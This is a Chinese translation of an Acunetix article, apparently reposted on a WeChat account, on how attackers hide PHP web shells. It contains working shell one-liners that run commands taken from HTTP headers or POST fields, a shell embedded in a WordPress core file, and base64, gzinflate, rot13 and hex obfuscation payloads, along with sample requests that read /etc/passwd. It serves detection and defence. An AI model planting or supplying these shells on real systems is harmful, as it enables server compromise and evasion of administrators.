通过
PHP
例子来讲述各种webshell
的隐藏技术。译自:https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-web-shells-part-3/
命令可以通过各种方式发给webshell
, 使用HTTP POST
请求是最常见的。但是,恶意攻击者不是那些遵守规则的人。下面是一些攻击者用来隐藏webshell
的技巧。
他们是通过user agent
字符串发送命令,而不是用POST
请求。
<?php system($_SERVER['HTTP_USER_AGENT'])?>
攻击者会构造一个指定的HTTP
请求,把命令放在请求头部的User-Agent
.
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4
从服务日志可以看到这种行为的效果,第二个请求的User-Agent
已经被命令cat /etc/passwd
替换掉了。
192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"
上面方法很吵闹,也容易被网站管理员通过服务日志发现。下面这个,就不一定了。
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd
上面方法不会留下命令执行的明显痕迹(至少在access log
)
192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
大多数流行PHP shell
像c99
, r57
, b374
和其它一些使用显著名称的,很容易引起注意。它们都在黑名单且很容易识别。攻击者用来隐藏webshell
一种最简单的方法是把它们上传到深层子目录或者是使用随机名称。
http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php
更有效的方法是将webshell
代码嵌入到现有的合法文件中。
http://www.example.com/index.php
http://www.example.com/about.php
或者在CMS
的情况(如WordPress
)
// http://www.example.com/wp-content/wp-blog-header.phpif ( !isset($wp_did_header) ) {
$wp_did_header = true;
// Load the WordPress Core System
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query
wp();
// Load the theme template
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
一个攻击者可以在函数前使用
@
操作符来抑制可能会出现的异常,防止这些信息写到日志里
攻击者会使用各种混淆技术来避免被网站管理员或其它攻击者的发现。他们会使用很多又新又复杂的方式来隐藏代码和绕过安全系统。下面列举一些常用手段。
通过从代码块删除空格,让它看起来像一个大字符串,使得可读性变差,也很难识别脚本的作用。
<?php
// Whitespace makes things easy to read
function myshellexec($cmd){
global $disablefunc; $result = "";
if (!empty($cmd)){
if (is_callable("exec") && !in_array("exec",$disablefunc)) {
exec($cmd,$result); $result = join("",$result);
}
}
}
// Whitespace removed makes things harder to read
function myshellexec($cmd) {global $disablefunc;$result = "";
if(!empty($cmd)) { if (is_callable("exec") and
!in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}}
?>
扰乱是一种可以有效地与其他技术结合使用的技术,以帮助webshell
不被检测到。通过扰乱代码,使得它不可读,运行时再通过多个函数把代码组装起来。
<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string: strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);
?>
webshell
经常使用额外的技术来隐藏它们的目的。下面是一些PHP webshell
常用来隐藏自身的函数:
eval
: 对给定字符串作为PHP
代码求值assert
:对给定字符串作为PHP`代码求值base64
: 对数据进行MIME base64
编码gzdeflate
: 对字符串使用DEFLATE
数据格式压缩;gzinflate
解压str_rot13
:对指定字符串每个字符移动在字母表里13位下面的例子都是产生同样的结果,不过,攻击者可能会采用更多混淆技术来保持webshell
不被发现
<?php
// Evaluates the string "system('ls -la');" as PHP code
eval("system('ls -la');");
// Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
// Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
// Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA==')))); // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>
ASCII
码的16进制代码可以用来进一步混淆webshell
命令。比如下面
system('cat /etc/passwd');
转换成16进制就是这样
73797374656d2827636174202f6574632f70617373776427293b
下面的代码用来接受16进制编码的字符串,然后作为PHP
代码求值
<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
// evaluate/execute the command
eval($string);
}
dcd('73797374656d2827636174202f6574632f70617373776427293b');
?>
输出类似下面
上面的代码即使编码多次,都可以通过各种工具解码。有时候,攻击者会选择加密,而不是编码,使得更加难确定webshell
的作用。
下面一个简单而实用的例子。当代码没有编码也没有加密,它也是很难被检测到的。因为它不用任何可疑的函数(如eval
, assert
),很长的编码字串,复杂代码,而且最主要是,在日志里(在某种程度上),它并不会引起管理员的注意。
<?php
// Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];
//The following will now be equivalent to running -> system('cat /etc/passwd');
$_($__);
?>
=========================================
文中和文末的小广广,渴望你手指的触碰!!!
请关注,转发,点“在看”,谢谢!!
如需要转载,请在公众号留言!!
关注公众号
在对话框输入“3ed51"